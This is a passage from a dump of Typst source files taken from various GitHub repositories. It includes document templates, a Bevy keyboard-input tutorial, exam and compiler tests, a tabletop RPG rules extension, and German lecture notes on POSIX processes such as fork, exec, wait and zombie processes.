presentation-16-9: (width: 297.0, height: 167.0625),
presentation-4-3: (width: 280.0, height: 210.0),
)
// Add some aliases
#papers.insert("16:9", papers.presentation-16-9)
#papers.insert("4:3", papers.presentation-4-3)
|
https://github.com/Danmushu/missingSemester | https://raw.githubusercontent.com/Danmushu/missingSemester/main/git%26latex/template.typ | typst | #import "@preview/numblex:0.1.0": numblex, circle_numbers
#let font = (main: "Cambria", mono: "SimHei", cjk: "SimHei")
#let problem_counter = counter("problem")
#let prob-solution_counter = counter("prob-solution")
#let prob_block(body) = {
v(-0.5em)
block(fill: rgb(230, 255, 255), width: 100%, inset: 8pt, radius: 4pt, stroke: rgb(0, 191, 255), body)
}
#let speci_block(title, body) = {
v(-0.5em)
block(
fill: rgb("#497BDF"),
width: 100%,
inset: (left: 8pt, top: 4pt, bottom: 4pt),
radius: (top: 4pt, bottom: 0pt),
stroke: rgb("#C3D7FF"),
)[
#set heading(numbering: none)
#set text(fill: white)
==== #title
]
v(-12pt)
block(fill: rgb("#fcfdff"), width: 100%, inset: 8pt, radius: (top: 0pt, bottom: 4pt), stroke: rgb("#1f84c7"))[
// #v(0.5em)
#body
]
}
#let speci_block2(title, body) = {
v(-0.5em)
block(
fill: rgb("#808080"),
width: 100%,
inset: (left: 8pt, top: 4pt, bottom: 4pt),
radius: (top: 4pt, bottom: 0pt),
stroke: rgb("#C3D7FF"),
)[
#set heading(numbering: none)
#set text(fill: white)
==== #title
]
v(-12pt)
block(fill: rgb("#fcfdff"), width: 100%, inset: 8pt, radius: (top: 0pt, bottom: 4pt), stroke: rgb("#1f84c7"))[
// #v(0.5em)
#body
]
}
#let info(body) = {
v(-0.5em)
block(
fill: rgb("#3399FF"),
width: 100%,
inset: (left: 8pt, top: 4pt, bottom: 4pt),
radius: (top: 4pt, bottom: 0pt),
stroke: rgb("#3333FF"),
)[
#set heading(numbering: none)
#set text(fill: white)
==== Information
]
v(-12pt)
block(fill: rgb("#fcfdff"), width: 100%, inset: 8pt, radius: (top: 0pt, bottom: 4pt), stroke: rgb("#1f84c7"))[
// #v(0.5em)
#body
]
}
#let prob(text, body) = {
[
#set heading(numbering: none)
=== #text
]
v(0.5em)
if body == [] {
v(0.5em)
} else {
prob_block(body)
}
}
#let cprob(text, body) = {
[
#set heading(numbering: none)
#problem_counter.step()
=== 问题 #problem_counter.display()：#text
]
v(0.5em)
if body == [] {
v(0.5em)
} else {
prob_block(body)
}
}
#let cqa(title, body) = {
[
#set heading(numbering: none)
#prob-solution_counter.step()
=== 问题 #prob-solution_counter.display()：#title
]
v(0.5em)
if body == [] {
v(0.5em)
} else {
speci_block2([解决方式], body)
}
}
// Some math operators
#let prox = [#math.op("prox")]
#let proj = [#math.op("proj")]
#let argmin = [#math.arg] + [#math.min]
#let assignment_class(size: 10.5pt, title, author, course_id, professor_name, semester, due_time, id, body) = {
set text(font: (font.main, font.cjk), size: size, lang: "zh", region: "cn")
//set par(justify: true)
//show: columns.with(2, gutter: 1.3em)
//show: rest => columns(2, rest)
show heading.where(level: 1): it => [
#it
#v(0.2em)
]
set heading(numbering: numblex("一、", "1.", (numbering: "(1).", depth: 2), (numbering: circle_numbers, depth: 4)))
set raw(tab-size: 4)
show link: underline
set list(indent: 6pt)
set enum(indent: 6pt)
set bibliography(title: [参考], style: "ieee")
set document(title: title, author: author)
set page(paper: "a4", header: locate(loc => if (counter(page).at(loc).first() == 1) { none } else {
[
#h(1fr)
*#author* | *#title*
]
}), footer: locate(loc => {
let page_number = counter(page).at(loc).first()
let total_pages = counter(page).final(loc).last()
align(center)[
#set text(size: 8pt)
#page_number / #total_pages
]
}))
line(length: 100%)
align(left, text(17pt)[
*#course_id* | *#title*
])
let left_text = [
*#author* #id
]
let mid_text = [*Instructor: #professor_name*] + [, *#semester* ]
let right_text = [| *截止时间：*#due_time]
if due_time == none or due_time == "" {
right_text = []
}
left_text
h(1fr)
mid_text
right_text
line(length: 100%)
set raw(tab-size: 4)
show raw: set text(font: (font.mono, font.cjk))
// Display inline code in a small box
// that retains the correct baseline.
show raw.where(block: false): box.with(fill: luma(240), inset: (x: 3pt, y: 0pt), outset: (y: 3pt), radius: 2pt)
// Display block code in a larger block
// with more padding.
// and with line numbers.
// Thank you @Andrew15-5 for the idea and the code!
// https://github.com/typst/typst/issues/344#issuecomment-2041231063
let style-number(number) = text(gray)[#number]
show raw.where(block: true): it => block(
fill: luma(240),
inset: 10pt,
radius: 4pt,
width: 100%,
)[#grid(columns: (1em, 1fr), align: (right, left), column-gutter: 0.7em, row-gutter: 0.6em, ..it.lines
.enumerate()
.map(((i, line)) => (style-number(i + 1), line))
.flatten())]
body
} |
|
https://github.com/barddust/Kuafu | https://raw.githubusercontent.com/barddust/Kuafu/main/src/Meta/reading.typ | typst | = 如何阅读
== 分类
我把书本分为两大类，不同类别的数目使用的方法不同：
- 文学类，包括小说、散文、诗歌等等
- 功能类，包括历史学、哲学、心理学、成功学等
前者需要感受文字本身的美感，或需斟酌考量每个字词的含义，因此需要精度细读；后者重点在于提取文本背后所包含的信息，因此需要考虑跳读，高效提取有价值的信息。
== 核心
思维导图 Mind Mapping
树立脉络
== 问题意识
== 阅读方式
- 手指帮助集中
- 提取关键字
== 参考
- 超级快速阅读 https://book.douban.com/subject/6064502/
- 这样读书就够了 https://book.douban.com/subject/20493042/
- 学会提问 https://book.douban.com/subject/20428922/
- 如何阅读 https://book.douban.com/subject/35796323/
- 如何阅读一本书 https://book.douban.com/subject/34954922/
|
|
https://github.com/VisualFP/docs | https://raw.githubusercontent.com/VisualFP/docs/main/SA/design_concept/content/poc/options_deployment_desktopapp.typ | typst | = Desktop Application
A desktop application can be installed on the user's device with one installer.
Both the frontend and backend are executed on the user's device.
This means that there is no special infrastructure required to host the
application. The application can also access the local file system and
other development tools such as Cabal
#footnote("https://www.haskell.org/cabal/").
Unfortunately, every user would need to install the application themselves. The
application also would need to be built separately per operating system and
depending on the chosen runtime also per processor architecture. |
|
https://github.com/MatheSchool/typst-g-exam | https://raw.githubusercontent.com/MatheSchool/typst-g-exam/develop/test/Paragraph/test-001.typ | typst | MIT License | #import "../../src/lib.typ": *
#show: g-exam.with(
)
#g-question(points: 2)[#lorem(30)]
#g-subquestion(points: 2)[#lorem(30)]
#g-subquestion(points: 2, points-position: right)[#lorem(30)]
#g-question(points: 1)[#lorem(30)]
#g-subquestion(points: 2)[#lorem(30)]
#g-subquestion(points: 2)[#lorem(30)]
#g-question(points: 2, points-position: right)[#lorem(30)]
#g-subquestion(points: 2, points-position: right)[#lorem(30)]
#g-subquestion(points: 2)[#lorem(30)]
#g-question(points: 1.5)[#lorem(30)] |
https://github.com/chendaohan/bevy_tutorials_typ | https://raw.githubusercontent.com/chendaohan/bevy_tutorials_typ/main/15_keyboard/keyboard.typ | typst | #set page(fill: rgb(35, 35, 38, 255), height: auto, paper: "a3")
#set text(fill: color.hsv(0deg, 0%, 90%, 100%), size: 22pt, font: "Microsoft YaHei")
#set raw(theme: "themes/Material-Theme.tmTheme")
= 1. 检查按键状态
通常在游戏中，你可能会对特定的已知按键以及检测它们何时被按下或释放感兴趣。你可以使用 ButtonInput\<KeyCode> 资源来检查特定按键。
使用 .pressed(…)/.released(…) 来检查按键是否被按住 只要按键处于相应状态，这些方法每帧都会返回 true。 使用 .just_pressed(…)/.just_released(…) 来检测实际的按下/释放 这些方法仅在按下/释放发生的帧更新时返回 true。
要遍历当前按住的任何按键，或已按下/释放的按键：
```Rust
fn move_player(
mut player: Query<&mut Transform, With<Player>>,
keyboard: Res<ButtonInput<KeyCode>>,
time: Res<Time>,
) {
let Ok(mut transform) = player.get_single_mut() else {
return;
};
let speed = 5. * time.delta_seconds();
let mut velocity = Vec3::ZERO;
if keyboard.pressed(KeyCode::ArrowUp) {
velocity += transform.forward() * speed;
}
if keyboard.pressed(KeyCode::ArrowDown) {
velocity += transform.back() * speed;
}
if keyboard.pressed(KeyCode::ArrowLeft) {
velocity += transform.left() * speed;
}
if keyboard.pressed(KeyCode::ArrowRight) {
velocity += transform.right() * speed;
}
transform.translation += velocity;
}
fn clear_text(mut text: Query<&mut Text>, keyboard: Res<ButtonInput<KeyCode>>) {
if keyboard.just_pressed(KeyCode::Enter) {
if let Ok(mut text) = text.get_single_mut() {
text.sections[0].value.clear();
}
}
}
```
= 2. 运行条件
另一种工作流程是为你的系统添加运行条件，使它们仅在适当的输入发生时运行。
强烈建议你编写自己的运行条件，以便你可以检查任何你想要的内容，支持可配置的绑定等。
对于原型设计，Bevy 提供了一些内置的运行条件：
```Rust
toggle_game_state.run_if(input_just_pressed(KeyCode::Space)),
```
= 3. 键盘事件
要获取所有的键盘活动，你可以使用 KeyboardInput 事件：
```Rust
fn input_text(mut text: Query<&mut Text>, mut keyboard_reader: EventReader<KeyboardInput>) {
let Ok(mut text) = text.get_single_mut() else {
return;
};
for keyboard in keyboard_reader.read() {
if let ButtonState::Released = keyboard.state {
continue;
}
match &keyboard.logical_key {
Key::Backspace => {
text.sections[0].value.pop();
}
Key::Character(string) => {
if string.chars().any(char::is_control) {
continue;
}
text.sections[0].value.push_str(&string);
}
_ => continue,
}
}
}
```
= 4. 物理键码 vs. 逻辑键
当按下一个键时，事件包含两个重要的信息：
- KeyCode，它始终代表键盘上的特定键，无论操作系统布局或语言设置如何。
- Key，它包含操作系统解释的键的逻辑含义。
当你想实现游戏机制时，你应该使用 KeyCode。这将为你提供可靠的按键绑定，包括对配置了多个键盘布局的多语言用户。
当你想实现文本/字符输入时，你应该使用 Key。这可以为你提供 Unicode 字符，你可以将其附加到你的文本字符串中，并允许用户像在其他应用程序中一样输入。
如果你想处理键盘上具有特殊功能键或媒体键的键盘，这也可以通过逻辑键来完成。
= 5. 文本输入
以下是如何将文本输入实现到字符串中的一个简单示例（这里存储为本地资源）。
```Rust
fn input_text(mut text: Query<&mut Text>, mut keyboard_reader: EventReader<KeyboardInput>) {
let Ok(mut text) = text.get_single_mut() else {
return;
};
for keyboard in keyboard_reader.read() {
if let ButtonState::Released = keyboard.state {
continue;
}
match &keyboard.logical_key {
Key::Backspace => {
text.sections[0].value.pop();
}
Key::Character(string) => {
if string.chars().any(char::is_control) {
continue;
}
text.sections[0].value.push_str(&string);
}
_ => continue,
}
}
}
```
注意我们如何为 Backspace 和 Enter 键实现特殊处理。你可以轻松地为其他在你的应用程序中有意义的键（如箭头键或 Escape 键）添加特殊处理。
为我们的文本生成有用字符的键以小的 Unicode 字符串形式出现。在某些语言中，每次按键可能会有多个字符。
注意：为了支持使用复杂文字语言（如东亚语言）或使用手写识别等辅助方法的国际用户的文本输入，除了键盘输入外，你还需要支持 IME 输入。 |
|
https://github.com/MrToWy/Bachelorarbeit | https://raw.githubusercontent.com/MrToWy/Bachelorarbeit/master/Code/app.routes.typ | typst | ```ts
export const routes: Routes = [
{ path: 'overview', component: ModuleGridComponent },
{ path: 'faculties', component: FacultiesComponent },
{ path: 'faculty/:id', component: FacultyDetailComponent }
[...]
``` |
|
https://github.com/jgm/typst-hs | https://raw.githubusercontent.com/jgm/typst-hs/main/test/typ/text/font-05.typ | typst | Other | // Error: 11-31 unexpected argument: something
#set text(something: "invalid")
|
https://github.com/dice-punk-press/open-d12 | https://raw.githubusercontent.com/dice-punk-press/open-d12/main/src/extensions/game-of-manners.typ | typst | Creative Commons Attribution 4.0 International | = Game of Manners
== Description
This extension adds a novel danger mechanic to the game
where players lose chances (or some other resource) if they
fail to follow a set of rules.
== Mechanics
Players must follow a pre-defined set of rules. These rules
are typically inspired by the setting of the game, for example
a game set in Regency England might have rules about how to
conduct oneself in polite society.
If a player fails to follow the rules then they lose a chance.
A good set of rule will have some of the following properties:
- Easy for the players to understand once known
- Create a tension between following the rules and achieving
other goals in the game
- Can be broken deliberately via choice or accidentally by
failing a roll
=== Variation: Known rules
The rules are known to the players from the start of the game.
*Example:* _In a game set in Regency England the rules might
require players to have excellent table manners. At any
point during a meal the Narrator may call for a roll to
determine the quality of a character's manners and therefore
whether they have broken the rules._
=== Variation: Unknown rules
The rules are hidden from the players at the start of the
game and part of the game is discovering them.
When using this variation you may require additional
mechanics to randomize the rules used each game to ensure a
good level of re-playability.
*Example:* _In a game set in an esoteric cult characters'
aren't allowed to mention the color yellow. The players
don't know this to begin with and must discover it through
play._ |
https://github.com/jgm/typst-hs | https://raw.githubusercontent.com/jgm/typst-hs/main/test/typ/compiler/ops-15.typ | typst | Other | // Test `with` method.
// Apply positional arguments.
#let add(x, y) = x + y
#test(add.with(2)(3), 5)
#test(add.with(2).with(3)(), 5)
#test((add.with(2))(4), 6)
#test((add.with(2).with(3))(), 5)
// Make sure that named arguments are overridable.
#let inc(x, y: 1) = x + y
#test(inc(1), 2)
#let inc2 = inc.with(y: 2)
#test(inc2(2), 4)
#test(inc2(2, y: 4), 6)
|
https://github.com/jgm/typst-hs | https://raw.githubusercontent.com/jgm/typst-hs/main/test/typ/compute/foundations-01.typ | typst | Other | #test(repr(ltr), "ltr")
#test(repr((1, 2, false, )), "(1, 2, false)")
|
https://github.com/grnin/Zusammenfassungen | https://raw.githubusercontent.com/grnin/Zusammenfassungen/main/Bsys2/03_Prozesse.typ | typst | // Compiled with Typst 0.11.1
#import "../template_zusammenf.typ": *
#import "@preview/wrap-it:0.1.0": wrap-content
/*#show: project.with(
authors: ("<NAME>", "<NAME>"),
fach: "BSys2",
fach-long: "Betriebssysteme 2",
semester: "FS24",
tableofcontents: (enabled: true),
language: "de"
)*/
#let wait = ```c wait()```
= Prozesse
Wenn ein Prozessor nur ein einziges Programm ausführt, laufen auf ihm _nur zwei
Software-Akteure:_ Das _Programm_ und das _Betriebssystem_.
Dieses System nennt man Monoprogrammierung: _Kommunikation_ vom Programm zum OS auf
SW-Ebene über _C-Funktionsaufrufe_. Das Programm _kennt nur sich selbst_ und das OS.
Moderne Prozessoren bieten _genügend Rechenleistung_, um _viele Programme_ gleichzeitig
ausführen zu können. All diese Programme müssen _gleichzeitig_ im Hauptspeicher sein.
OS muss jedem Programm _nacheinander_ (nicht gleichzeitig) Zeit auf dem Prozessor
zuweisen. Das OS benötigt eine _Verwaltungseinheit_ für Programme, die laufen sollen:
_den Prozess_.
Die _Monoprogrammierung_ soll jedoch erhalten bleiben. Aufgabe des OS ist es, Programme
voneinander zu _isolieren_. Jedem Prozess ist ein _virtueller Adressraum_ zugeordnet.
#wrap-content(
image("img/bsys_9.png"),
align: top + right,
columns: (85%, 13%),
)[
== Grundlagen
Ein Prozess umfasst:
- Das _Abbild eines Programms_ im Hauptspeicher #hinweis[text section]
- die _globalen Variablen des Programms_ #hinweis[data section]
- Speicher für den _Heap_
- Speicher für den _Stack_
=== Prozess vs Programm
- Ein _Programm_ ist _passiv_: beschreibt bestimmte Abläufe #hinweis[(wie ein Rezept)]
- Ein _Prozess_ ist _aktiv_: führt Abläufe aus #hinweis[(das Kochen des Rezeptes)]
]
Ein Programm kann als verschiedene, voneinander unabhängige Prozesse _mehrfach_ ausgeführt
werden. Unter POSIX kann ein Prozess mehrere Programme _nacheinander_ ausführen.
#pagebreak()
== Betriebssystemsicht
Das Betriebssystem hält Daten über jeden Prozess in jeweils einem
_Process Control Block (PCB)_ vor.
#wrap-content(
image("img/bsys_10.png"),
align: bottom + right,
columns: (75%, 25%),
)[
=== Process Control Block (PCB)
Speicher für alle Daten, die das OS benötigt, um die Ausführung des Prozesses ins
Gesamtsystem zu integrieren, u.a.:
]
- Eigene _Process ID_, Parent ID und andere wichtige IDs
- Speicher für den _Zustand_ des Prozessors #hinweis[(Prozesskontext)]
- _Scheduling-Informationen_ #hinweis[(welcher Prozess ist wann an der Reihe)]
- Daten zur _Synchronisation_ und _Kommunikation_ zwischen Prozessen
- _Dateisystem-relevante_ Informationen #hinweis[(z.B. offene Dateien)]
- _Security-Informationen_ #hinweis[(Prozess selber sieht diese nicht)]
=== Interrupts und Prozesse
Wenn ein Interrupt auftritt, muss der _Kontext_ des aktuellen Prozesses im dazugehörigen
PCB gespeichert werden #hinweis[(context save)]:
Register, Flags, Instruction Pointer, MMU-Konfiguration
Dann wird der _Interrupt-Handler_ aufgerufen, der je nach Bedarf den Kontext
_komplett überschreiben_ kann. Nach dem Ende des Interrupt-Handlers wird der Kontext des
Prozesses aus seinem PCB _wiederhergestellt_ #hinweis[(context restore)].
_Ablauf eines Kontext-Wechsels:_ OS sichert Kontext von Prozess $A$ im PCB $A$ und stellt
den Kontext von Prozess $B$ aus dem PCB $B$ wieder her.
Nach Rücksprung aus dem Interrupt-Handler läuft somit Prozess $B$ statt $A$.
=== Prozess-Erstellung
Um aus einem Programm einen Prozess zu machen, muss das OS _einen Prozess erzeugen_ und
_ein Programm in diesen Prozess laden_. Unter POSIX sind beide Schritte getrennt, unter
Windows finden beide in einer einzigen Funktion statt.
#wrap-content(
image("img/bsys_11.png"),
align: bottom + right,
columns: (85%, 15%),
)[
=== Prozess-Hierarchie
In POSIX hat jeder Prozess ausser Prozess 1 genau _einen_ Parent-Prozess.
Jeder Prozess kann _beliebig viele_ Child-Prozesse haben.
Dadurch wird eine _Baum-Struktur_ definiert: Die _Prozess-Hierarchie_.
Diese kann mit dem Tool `pstree` angezeigt werden.
]
== Prozess API
=== Die Funktion `fork()`
```c pid_t fork(void)``` erzeugt eine _exakte Kopie_ (Child $C$) des Prozesses
(Parent $P$), aber: $C$ hat eine _eigene Prozess-ID_ und als _Parent-Prozess-ID_ die ID
von $P$. Die Funktion führt in _beiden_ Prozessen den Code an derselben Stelle fort:
Am Rücksprung aus `fork`.
#let fork-code = ```c
pid_t new_pid = fork();
if (new_pid > 0) {
// code running in parent
} else if (new_pid == 0) {
// code running in child
}
```
#wrap-content(
fork-code,
align: bottom + right,
columns: (64%, 36%),
)[
- In $P$ bei _Erfolg_: Gibt die Prozess-ID von C zurück (> 0)
- In $P$ bei _Misserfolg_: Gibt -1 zurück und Fehlercode in `errno`
- In $C$: Gibt 0 zurück
]
=== Die Funktion `exit()`
```c void exit(int code)``` entspricht dem gleichnamigen Betriebssystem-Aufruf.
Kann an jeder Stelle im Programm verwendet werden und bietet somit eine Alternative zum
"Rücksprung" aus ```c main()```. Springt nie zurück, sondern _beendet das Programm_.
`code` ist der Code, der am Ende des Prozesses zurückgegeben wird
#hinweis[(return/exit value des Programms)].
=== Die Funktion `wait()`
```c pid_t wait(int *status)``` unterbricht den Prozess, bis einer seiner Child-Prozesse
beendet wurde. Gibt die Statusinformationen über den `int` zurück, auf den `status` zeigt
#hinweis[(Out-Parameter)]. Der Status wird durch Macros aus dem Header
```c <sys/wait.h>``` abgefragt:
- _`WIFEXITED(*status)`:_ `!= 0`, wenn Child ordnungsgemäss beendet wurde.
#hinweis[(wait-if)]
- _`WEXITSTATUS(*status)`:_ Exit-Code von Child
Gibt -1 zurück, wenn ein Fehler auftritt, Fehlercode in `errno`.
`ECHILD`: Hat kein Child mehr, um darauf zu warten.
`EINTR`: Wurde von einem Signal unterbrochen.
=== Die Funktion `waitpid()`
```c pid_t waitpid (pid_t pid, int *status, int options)``` ist wie #wait, aber `pid`
bestimmt, auf welchen Child-Prozess man warten will.
- _`pid > 0`:_ Wartet nur auf den Child-Prozess mit dieser `pid`
- _`pid == -1`:_ Wartet auf irgendeinen Child-Prozess (= #wait)
- _`pid == 0`:_ wartet auf alle Child-Prozesse welche diesselbe Prozessgruppen-ID wie der
Parent haben
- _`pid < -1`:_ wartet auf alle Child-Prozesse welche diesselbe Prozessgruppen-ID wie der
absolute `pid`-Wert haben
Gibt -1 zurück, wenn ein Fehler auftritt, Fehlercode in `errno`.
`ECHILD`: Hat kein Child mehr, um darauf zu warten.
`EINTR`: Wurde von einem Signal unterbrochen.
=== Zusammenspiel von `fork()` und `wait()`
#image("img/bsys_12.png")
```c
void spawn_worker (...) {
if (fork() == 0) {
// ... do something in worker process
exit(0); // exit from worker process
}
}
for (int i = 0; i < n; ++i) {
spawn_worker(...);
}
// ... do something in parent process
do { pid = wait(0); } while (pid > 0 || errno != ECHILD); // wait for all children
```
=== `exec()`-Funktionen
Es gibt 6 `exec()`-Funktionen: `execl()`, `execle()`, `execlp()`, `execv()`, `execve()`, `execvp()`.
Jede `exec`-Funktion _ersetzt_ im gerade laufenden Prozess das Programmimage
_durch ein anderes Programmimage_.
Bei jeder `exec`-Funktion müssen die _Programmargumente spezifiziert_ werden.
- _Bei den `execl*`-Funktionen als Liste_
#hinweis[(`l` für Liste)]: `execl(path, arg0, arg1, ...)`
- _Bei den `execv*`-Funktionen als Array_
#hinweis[(`v` für Vektor/Array)]: `execv(path, argv)`
_Die `exec*e`-Funktionen_ erlauben die _Angabe eines Arrays_ für die _Umgebungsvariabeln_,
in den anderen Versionen bleiben die Umgebungsvariablen gleich.
_Die `exec*p`-Funktionen_ suchen den _Dateinamen_ über die Umgebungsvariable _`PATH`_,
die anderen verwenden absolute/relative Pfade.
#table(
columns: (auto, 1fr, auto, auto),
table.header(
[],
[],
[Programmargumente\ als Liste],
[Programmargumente\ als Array],
),
table.cell(rowspan: 2)[Angabe des Pfads],
[mit neuem Environment],
[`execle()`],
[`execve()`],
table.cell(rowspan: 2)[mit altem Environment],
[`execl()`],
[`execv()`],
[Suche über `PATH`],
[`execlp()`],
[`execvp()`]
)
=== Zusammenspiel von `fork()`, `exec()` und `wait()`
#image("img/bsys_13.png")
=== Zombie-Prozess
#wrap-content(
image("img/bsys_14.png"),
align: top + right,
columns: (40%, 60%),
)[
Wenn ein Prozess $C$ _beendet_ wird, ist sein Parent-Prozess $P$ verantwortlich dafür,
_auf jeden Fall_ #wait aufzurufen. Das OS weiss nicht, _wann_ das passieren wird.
Das OS muss die Statusinformationen von $C$ solange vorhalten, bis $P$ #wait aufruft.
_$C$ ist zwischen seinem Ende und dem Aufruf von #wait durch $P$ ein Zombie-Prozess_
#hinweis[(tot, aber noch nicht entfernt)].
_Dauerhafter Zombie-Prozess:_ Bleibt ein Prozess $C$ längere Zeit ein Zombie, bedeutet
das, dass sein Parent $P$ #wait längere Zeit nicht aufruft.
Vermutlich hat $P$ einen Fehler. Die Situation kann bereinigt werden, indem $P$ gestoppt
wird und $C$ somit an Prozess 1 übertragen wird.
]
=== Orphan-Prozess
#wrap-content(
image("img/bsys_15.png"),
align: top + right,
columns: (40%, 60%),
)[
Wird ein Prozess $P$ _beendet_, haben seine Child-Prozesse $C$ keinen Parent-Prozess
mehr. Sie _verwaisen_ und werden zu _Orphan-Prozessen_. $P$ kann nicht mehr seiner
Verantwortung nachkommen und auf $C$ warten. $C$ würden bei ihrem Ende zu
_dauerhaften Zombie-Prozessen_ und würden nie entfernt werden.
Damit das nicht passiert, werden beim Ende eines Prozesses $P$ all seine Child-Prozesse
an den Prozess mit der `pid=1` _übertragen_. Dieser Prozess ruft in einer
_Endlosschleife_ #wait auf und beendet somit alle ihm übertragenen Orphan-Prozesse.
]
=== Die Funktion `sleep()`
```c unsigned int sleep (unsigned int seconds)``` unterbricht die Ausführung, bis die
Anzahl der Sekunden _ungefähr_ verstrichen ist.
Kann vom _System auch unterbrochen werden_.
Gibt die Anzahl Sekunden zurück, die vom Schlaf noch verblieben sind.
=== Die Funktion `atexit()`
```c int atexit (void (*function)(void))``` dient dazu, dass ein Programm kurz vor seinem
Ende letzte _Aufräumarbeiten_ durchführen kann. Diese Aufräum-Funktionen werden dann nach
einem Aufruf von `exit` in _umgekehrter Reihenfolge der Registrierung_ aufgerufen.
#hinweis[(Funktionen werden also von unten nach oben ausgeführt)]
=== Funktionen zum Lesen von PIDs
```c pid_t getpid(void)``` und ```c pid_t getppid(void)``` geben die Prozess-ID des
aufrufenden Prozesses bzw. seines Parent-Prozesses zurück.
```c
int main() {
pid_t my_pid = getpid();
pid_t my_parent_pid = getppid();
printf("I am %d, my parent is %d\n", my_pid, my_parent_pid);
}
```
|
|
https://github.com/j10ccc/algorithm-analysis-homework-template-typst | https://raw.githubusercontent.com/j10ccc/algorithm-analysis-homework-template-typst/main/constants/fonts.typ | typst | #let font_family = (
default: "Songti SC",
songti: "FandolSong",
kaiti: "FandolKai",
monospace: "CMU Typewriter Text"
) |
|
https://github.com/yhtq/Notes | https://raw.githubusercontent.com/yhtq/Notes/main/经济学原理/hw/hw3.typ | typst | #import "../../template.typ": *
#show: note.with(
title: "作业3",
author: "YHTQ ",
date: none,
logo: none,
withOutlined: false
)
=
#set enum(numbering: "(1).")
+ 令 $Q_("需求") = Q_("供给")$，立得均衡价格：
$
100-P = 20 +3P => P = 20
$
+ 政府限制政策会导致同价格下商品需求降低，需求曲线左移，供给曲线不变，均衡价格下降，均衡数量下降。
+ 由于限价 $15 < P_("均衡") = 20$，市场价格为 $15$，需求量为 $85$，供给量为 $65$，市场出现短缺，过量的需求量为 $20$。
+ 此时需要：
$
Q'_("供给")(15) = 20 + 3 P + d = 20 + 45 + d = 85 => d = 20
$
其中 $d$ 为供给曲线的（横向）平移量
=
+ 由题意，限价前均衡价格为 $20$，均衡数量为 $80$。此时需求弹性为：
$
(d Q)/(d P) / (Q/P) = -1 / (80 / 20) = -1/4
$
限价后，价格为 $40$，需求数量为 $60$，弹性为：
$
(d Q)/(d P) / (Q'/P') = -1 / (60 / 40) = -2/3
$
+ 价格变化区间为 $[0, 100]$，弧弹性为：
$
(Q(100) - Q(0)) / (100 - 0) / (Q(50) / 50) = -100 / 100 / (50 / 50) = -1
$
+ 注意到（使用均值不等式）：
$
P Q = P (100 - P) <= ((100 - P + P) / 2)^2 = 2500
$
当且仅当 $P = 50$ 时取等。\
或者计算需求弹性令其为 $-1$：
$
-1 = (d Q)/(d P) / (Q/P) = -1 / ((100 - P) / P) => P = 50
$
=
点弹性为：
$
(d Q)/(d P) / (Q/P) = E A P^(E - 1) / (A P ^(E - 1)) = E
$
= 讨论题
当堪萨斯州出现干旱时，由于其他地区农业产量不受影响，一定范围内的供给和需求都没有发生较大变化，价格也无显著变化，但堪萨斯州由于干旱而产量下降，从而导致收入下降。
而对全球市场而言，全球干旱会导致供给明显下降，供给曲线左移，而需求曲线无明显变化，从而均衡价格移动。此时农民的收入增加还是减少取决于农产品的弹性：如果农产品的需求弹性较小，那么农民的收入会增加。另一方面，由于粮食等产品是生活必需品，因此弹性较小也是合理的。 |
|
https://github.com/rabotaem-incorporated/calculus-notes-2course | https://raw.githubusercontent.com/rabotaem-incorporated/calculus-notes-2course/master/sections/02-measure-theory/!sec.typ | typst | #import "../../config.typ"
= Теория меры
#include "01-set-systems.typ"
#include "02-volume-and-measure.typ"
#include "03-measure-cont.typ"
#include "04-lebesgue-measure.typ"
#include "05-measurable-functions.typ"
#include "06-function-sequences.typ"
|
|
https://github.com/hegza/owners-manual | https://raw.githubusercontent.com/hegza/owners-manual/main/working_with_heksa.typ | typst | #let title = [Owner's Manual]
#set document(title: [#title])
#set heading(numbering: "1.")
#align(center, text(17pt)[#title])
= Introduction
- Purpose of this Manual
- Overview of My Role and Responsibilities
= Communication Preferences
- *If you'd like a quick response as soon as possible:* use Signal for work
related communications. I'm reachable also via Teams but I look at it less due
to accessibility issues.
- *If you'd like a well thought-out response:* use email, or open an issue in a
repository and ping me.
I read my IMs daily, and email at least once a week (on Thursday). I tend to
read my instant messengers (IM) only when I'm ready to respond, so don't worry
if there's a bit of a delay. I'm most engaged with communication between 12 and
17.
= Meeting Preferences
I follow strictly a subset of the
#link("https://intra.tuni.fi/fi/henkilostoasiat/tyohyvinvointi/sujuva-tietotyo")[the 2022 wellbeing
at work recommendations by the university]:
+ *45 min meetings* --- Meetings are truncated such that there's always a guaranteed 15 min break
between two consecutive meetings. For me, this allows for transitions and note literation &
preparation. If 45 minutes is not enough, reserve 2 h 45 min and find a room on
#link("https://resourcebooker-tuni.scientia.com/")[resource booker], so that we can make sure to
make the time count, and so that I can plan my day around it.
+ *No meetings Friday* --- Avoid meetings on Friday to guarantee weekly uninterrupted time for deep
work. I've found this to be instrumental for my mental health.
Additionally, I recommend the following:
- Use O365 Calendar / Teams, and schedule meetings at least 24 hours, preferable 48 hours in advance
to guarantee that I'll be able to hold appropriate space.
- Set the agenda for the meeting in the invitation. What problems do we aim to solve with the
meeting?
- Think, whether a live or a remote meeting is more appropriate. See O365 Calendar for when I plan
to be on campus, when on remote. If there's no information, assume that I'm remote.
= Work Style
- General Work Habits
- Focus and Deep Work Periods
- Multitasking vs. Single Tasking
- Preferred Working Environment (Quiet, Collaborative Spaces, etc.)
= Project Management
- Task Prioritization and Management
- Tools and Software I Use (Jira, Trello, etc.)
- Time Management Techniques
- Deadlines and Milestones
= Collaboration
- Collaboration Tools and Platforms
- Code Review and Pair Programming Preferences
- Feedback and Constructive Criticism
- Team Dynamics and Roles
= Problem-Solving Approach
- Analytical Methods and Tools
- Handling Uncertainty and Ambiguity
- Decision-Making Process
- Seeking Help and Collaboration
= Learning and Development
- Continuing Education and Training
- Skill Development Goals
- Preferred Learning Resources (Books, Courses, etc.)
- Sharing Knowledge with the Team
= Motivation and Work Satisfaction
- What Motivates Me
- Recognition and Rewards
- Balancing Work and Personal Life
- Coping with Stress and Burnout
= Rust Programming Specifics
- Coding Standards and Best Practices
- Preferred Development Tools and Environments
- Debugging and Troubleshooting Approaches
- Open Source Contributions and Community Involvement
= Feedback and Improvement
- Providing Feedback to Me
- Receiving and Acting on Feedback
- Continuous Improvement Practices
- Retrospective Meetings
= Miscellaneous
- Pet Peeves and Deal Breakers
- Fun Facts and Personal Interests
- Contact Information
- Availability Outside of Work Hours
= Conclusion
- Final Thoughts
- Encouragement for Open Communication
- Gratitude and Appreciation
|
|
https://github.com/typst/packages | https://raw.githubusercontent.com/typst/packages/main/packages/preview/unichar/0.1.0/ucd/block-13000.typ | typst | Apache License 2.0 | #let data = (
("EGYPTIAN HIEROGLYPH A001", "Lo", 0),
